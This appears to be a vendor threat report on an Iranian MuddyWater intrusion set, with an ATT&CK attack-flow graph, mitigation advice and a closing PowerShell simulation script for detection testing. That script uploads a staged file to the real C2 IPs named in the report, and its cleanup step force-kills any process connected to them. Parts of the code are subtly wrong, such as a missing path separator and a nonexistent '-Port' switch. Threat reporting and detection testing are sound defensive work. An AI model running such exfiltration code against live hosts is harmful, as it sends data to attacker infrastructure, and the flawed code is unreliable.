MuddyWater Exposed: Inside an Iranian APT operation

SOC Prime Team

MuddyWater Exposed: Inside an Iranian APT operation

Detection stack

AIDR
Alert
ETL
Query

Threat Report
Attack Flow
Detections
Simulations

Summary

Researchers identified a MuddyWater (Static Kitten) intrusion set that combined multiple bespoke C2 frameworks with opportunistic exploitation of numerous internet-facing flaws and high-volume credential spraying. The operators chained reconnaissance, initial access, and data theft tooling to compromise targets across the Middle East, Europe, and the United States.

Investigation

Investigators seized exposed infrastructure from a Netherlands-hosted VPS and extracted binaries for three purpose-built C2 servers: KeyC2, PersianC2, and ArenaC2. They also recovered supporting tooling, including PowerShell-based loaders and Node.js payloads used for staging and execution. The activity featured broad scanning for public-facing CVEs followed by exploitation, and it incorporated blockchain smart contracts as a mechanism to resolve or update C2 endpoints dynamically.

Mitigation

Prioritize remediation of the referenced CVEs and reduce attack surface by hardening and limiting exposure of public-facing services. Block or tightly restrict unknown outbound UDP traffic on port 1269, and monitor for execution artifacts tied to the custom C2 binaries and their distinctive command patterns. Enforce least-privilege for VPN and administrative accounts on network devices, and increase detection coverage for anomalous PowerShell behavior and encrypted outbound sessions to unfamiliar IP space.

Response

If indicators are observed, isolate impacted systems, preserve memory and disk artifacts, and immediately block the identified C2 domains/IPs. Perform forensic triage of recovered loaders and Node.js scripts to scope execution and persistence. Patch all exploited vulnerabilities and rotate any credentials that may have been exposed through spraying or theft.

graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ccffcc classDef c2 fill:#ffccff %% Step 1 – Active Scanning: Vulnerability Scanning step1[“Action – T1595.002 Active Scanning: Vulnerability Scanning Tool: Nuclei Description: Mass‑scan public services for exploitable CVEs such as FortiOS CVE‑2024‑55591 and Ivanti CVE‑2026‑1281.”] class step1 action tool_nuclei[“Tool – Name: Nuclei Description: High‑speed vulnerability scanner used for large‑scale internet probing.”] class tool_nuclei tool step1 –>|uses| tool_nuclei step1 –>|leads_to| step2 %% Step 2 – Gather Victim Network Information: DNS step2[“Action – T1590.002 Gather Victim Network Information: DNS Tools: subfinder, Sudomy, OneForAll Description: Enumerate subdomains and DNS records for targets such as clearview.ai and jewishagency.org.”] class step2 action tool_subfinder[“Tool – Name: subfinder Description: Fast passive subdomain discovery tool.”] class tool_subfinder tool step2 –>|uses| tool_subfinder step2 –>|leads_to| step3 %% Step 3 – Active Scanning: Wordlist Scanning step3[“Action – T1595.003 Active Scanning: Wordlist Scanning Tool: ffuf Description: Brute‑force web directories with a medium‑size wordlist to discover hidden resources.”] class step3 action tool_ffuf[“Tool – Name: ffuf Description: Fast web‑fuzzer for directory and file discovery.”] class tool_ffuf tool step3 –>|uses| tool_ffuf step3 –>|leads_to| step4 %% Step 4 – Search Open Technical Databases: Scan Databases step4[“Action – T1596.005 Search Open Technical Databases: Scan Databases Tool: Shodan CLI Description: Query Shodan for vulnerable Ivanti devices using service signatures and favicon hashes.”] class step4 action tool_shodan[“Tool – Name: Shodan CLI Description: Command‑line interface to the Shodan internet‑exposure search engine.”] class tool_shodan tool step4 –>|uses| tool_shodan step4 –>|leads_to| step5 %% Step 5 – Brute Force: Password Spraying step5[“Action – T1110.003 Brute Force: Password Spraying Tool: Python owa.py script Description: Spray common passwords against Outlook Web Access and SMTP services of Israeli, Jordanian and UAE organisations.”] class step5 action tool_owa[“Tool – Name: owa.py Description: Python script that performs password‑spraying attacks against OWA endpoints.”] class tool_owa tool step5 –>|uses| tool_owa step5 –>|leads_to| step6 %% Step 6 – Brute Force: Password Guessing step6[“Action – T1110.001 Brute Force: Password Guessing Tool: Patator Description: Attempt SMTP logins with credential lists to obtain valid accounts.”] class step6 action tool_patator[“Tool – Name: Patator Description: Multi‑protocol brute‑forcing tool supporting SMTP, SSH, HTTP, etc.”] class tool_patator tool step6 –>|uses| tool_patator step6 –>|leads_to| step7 %% Step 7 – Exploit Public‑Facing Application step7[“Action – T1190 Exploit Public‑Facing Application Technique: Novel SQL injection flaws in BaSalam and a Postgres development platform. Description: Exploit crafted SQLi payloads to obtain initial foothold on web servers.”] class step7 action step7 –>|leads_to| step8 %% Step 8 – Exploitation of Remote Services step8[“Action – T1210 Exploitation of Remote Services Tool: Neo‑reGeorg ASPX web‑shell Description: Upload web‑shell to compromised Exchange server for persistence and remote command execution.”] class step8 action malware_neoregeorg[“Malware – Name: Neo‑reGeorg ASPX web‑shell Description: ASPX web‑shell providing remote command execution and tunneling capabilities.”] class malware_neoregeorg malware step8 –>|uploads| malware_neoregeorg step8 –>|leads_to| step9 %% Step 9 – Boot or Logon Autostart Execution: Registry Run Keys step9[“Action – T1547.001 Boot or Logon Autostart Execution: Registry Run Keys Malware: Node.js payload VfZUSQi6oerKau.js Description: Create HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run key for persistence.”] class step9 action malware_nodejs[“Malware – Name: VfZUSQi6oerKau.js Description: Obfuscated Node.js payload that writes a Run‑key for persistence.”] class malware_nodejs malware step9 –>|creates| malware_nodejs step9 –>|leads_to| step10 %% Step 10 – Server Software Component: Web Shell step10[“Action – T1505.003 Server Software Component: Web Shell Component: Neo‑reGeorg web‑shell (nfud.aspx) Description: Enables remote command execution on compromised server.”] class step10 action malware_nfud[“Malware – Name: nfud.aspx Description: ASPX web‑shell variant used for persistent access.”] class malware_nfud malware step10 –>|implements| malware_nfud step10 –>|leads_to| step11 %% Step 11 – Create Account: Local Account step11[“Action – T1136.001 Create Account: Local Account Result: Privileged admin account \”FortiSetup\” with super_admin profile. Description: Modified FortiGate exploit scripts to add a persistent local admin account.”] class step11 action step11 –>|leads_to| step12 %% Step 12 – Obfuscated Files or Information step12[“Action – T1027 Obfuscated Files or Information Malware: Node.js payloads Description: Payloads heavily obfuscated and AES‑CBC encrypted before being written to disk.”] class step12 action malware_obf[“Malware – Name: Encrypted Node.js payloads Description: AES‑CBC encrypted blobs stored on the victim file system.”] class malware_obf malware step12 –>|produces| malware_obf step12 –>|leads_to| step13 %% Step 13 – Deobfuscate/Decode Files or Information step13[“Action – T1140 Deobfuscate/Decode Files or Information Tool: PowerShell loader reset.ps1 Description: Decrypts AES‑CBC encrypted blobs at runtime.”] class step13 action tool_psloader[“Tool – Name: reset.ps1 Description: PowerShell script that decrypts and loads malicious payloads in memory.”] class tool_psloader tool step13 –>|uses| tool_psloader step13 –>|leads_to| step14 %% Step 14 – Reflective Code Loading step14[“Action – T1620 Reflective Code Loading Technique: PowerShell loader loads decrypted Node.js components reflectively in memory.”] class step14 action step14 –>|leads_to| step15 %% Step 15 – Application Layer Protocol: Web Protocols step15[“Action – T1071.001 Application Layer Protocol: Web Protocols C2: PersianC2 Description: HTTP polling using JSON API endpoints to retrieve commands.”] class step15 action c2_persian[“C2 – Name: PersianC2 Description: HTTP‑based command and control using JSON polling.”] class c2_persian c2 step15 –>|communicates_via| c2_persian step15 –>|leads_to| step16 %% Step 16 – Non‑Application Layer Protocol step16[“Action – T1095 Non‑Application Layer Protocol C2: KeyC2 Description: Custom binary protocol over UDP port 1269 for beaconing and command execution.”] class step16 action c2_key[“C2 – Name: KeyC2 Description: UDP‑based covert channel using proprietary binary format.”] class c2_key c2 step16 –>|communicates_via| c2_key step16 –>|leads_to| step17 %% Step 17 – Web Service: Dead Drop Resolver step17[“Action – T1102.001 Web Service: Dead Drop Resolver Technique: Query Ethereum smart contracts to resolve C2 server IP addresses dynamically.”] class step17 action step17 –>|leads_to| step18 %% Step 18 – Web Service: Bidirectional Communication step18[“Action – T1102.002 Web Service: Bidirectional Communication C2: ArenaC2 (FastAPI/uvicorn) Description: HTTP POST interface encrypting traffic with AES‑256‑CBC.”] class step18 action c2_arena[“C2 – Name: ArenaC2 Description: FastAPI server providing encrypted bidirectional C2 channel.”] class c2_arena c2 step18 –>|uses| c2_arena step18 –>|leads_to| step19 %% Step 19 – Web Service: One‑Way Communication step19[“Action – T1102.003 Web Service: One‑Way Communication Component: Minimal Flask server (web.py) on port 10443 accepting file uploads for exfiltration.”] class step19 action malware_flask[“Malware – Name: web.py Description: Simple Flask app acting as a dead‑drop for stolen data.”] class malware_flask malware step19 –>|implements| malware_flask step19 –>|leads_to| step20 %% Step 20 – Protocol Tunneling step20[“Action – T1572 Protocol Tunneling Tool: Neo‑reGeorg acting as SOCKS proxy (resocks, revsocks) to tunnel into internal networks.”] class step20 action step20 –>|leads_to| step21 %% Step 21 – Proxy: External Proxy step21[“Action – T1090.002 Proxy: External Proxy Listeners: resocks and revsocks creating external SOCKS proxies for lateral movement.”] class step21 action step21 –>|leads_to| step22 %% Step 22 – Encrypted Channel: Symmetric Cryptography step22[“Action – T1573.001 Encrypted Channel: Symmetric Cryptography Technique: ArenaC2 encrypts all C2 traffic with AES‑256‑CBC using a hard‑coded key.”] class step22 action step22 –>|leads_to| step23 %% Step 23 – Dynamic Resolution step23[“Action – T1568 Dynamic Resolution Method: Smart‑contract calls (getString) on Ethereum return active C2 IP list (e.g., 185.236.25.119).”] class step23 action step23 –>|leads_to| step24 %% Step 24 – Exfiltration to Cloud Storage step24[“Action – T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage Tool: rclone Destination: Wasabi S3, put.io Description: Upload stolen files to cloud storage accounts.”] class step24 action tool_rclone[“Tool – Name: rclone Description: Command‑line program for syncing files to cloud storage services.”] class tool_rclone tool step24 –>|uses| tool_rclone step24 –>|leads_to| step25 %% Step 25 – Exfiltration Over C2 Channel step25[“Action – T1041 Exfiltration Over C2 Channel Capability: KeyC2 and PersianC2 support file download commands to retrieve data from victims.”] class step25 action step25 –>|leads_to| step26 %% Step 26 – Exfiltration Over Alternative Protocol step26[“Action – T1048 Exfiltration Over Alternative Protocol Method: Flask HTTP server and EC2 instance (18.223.24.218) used to push bulk data out of the victim environment.”] class step26 action

Attack Flow

Attack Narrative & Commands:
1. Reconnaissance & Data Staging: The attacker enumerates local files (T1005) and writes a small payload (secret.txt) to the workstation.
2. C2 Communication Setup: Using PowerShell (T1059.001), the attacker crafts an HTTPS POST to the MuddyWater C2 server 194.11.246.101 on port 443, embedding the staged data.
3. Alternate Channel (Non‑Standard Port): To evade simple port‑based rules, the attacker repeats the exfiltration over port 1338 using Invoke-WebRequest with the -Port switch (PowerShell 7+).
4. Optional Proxy Chaining: The request is routed through an external proxy (T1090.002) but the final destination IP remains the MuddyWater host, ensuring the firewall logs retain the malicious dst_ip.

Regression Test Script:

# MuddyWater Exfiltration Simulation – PowerShell
# ------------------------------------------------
# Step 1: Create dummy data
$dataPath = "$env:TEMPsecret.txt"
"Sensitive data $(Get-Date)" | Out-File -FilePath $dataPath -Encoding UTF8

# Step 2: Define C2 endpoints
$c2Ips = @('194.11.246.101','18.223.24.218')
$c2Ports = @(443,1338)

# Step 3: Upload via HTTPS (port 443)
foreach ($ip in $c2Ips) {
    $uri = "https://$ip/upload"
    Invoke-WebRequest -Uri $uri -Method POST -InFile $dataPath -UseBasicParsing -ErrorAction SilentlyContinue
}

# Step 4: Upload via custom port 1338 (requires PowerShell 7+)
foreach ($ip in $c2Ips) {
    $uri = "http://$ip:1338/upload"
    Invoke-WebRequest -Uri $uri -Method POST -InFile $dataPath -UseBasicParsing -ErrorAction SilentlyContinue
}

# Step 5: Clean up
Remove-Item -Path $dataPath -Force

Cleanup Commands:

# Remove any lingering network connections (Windows)
Get-NetTCPConnection -RemoteAddress 194.11.246.101,18.223.24.218 |
    Where-Object { $_.State -eq 'Established' } |
    ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }

# Delete temporary files (re‑run if needed)
$tempFile = "$env:TEMPsecret.txt"
if (Test-Path $tempFile) { Remove-Item $tempFile -Force }

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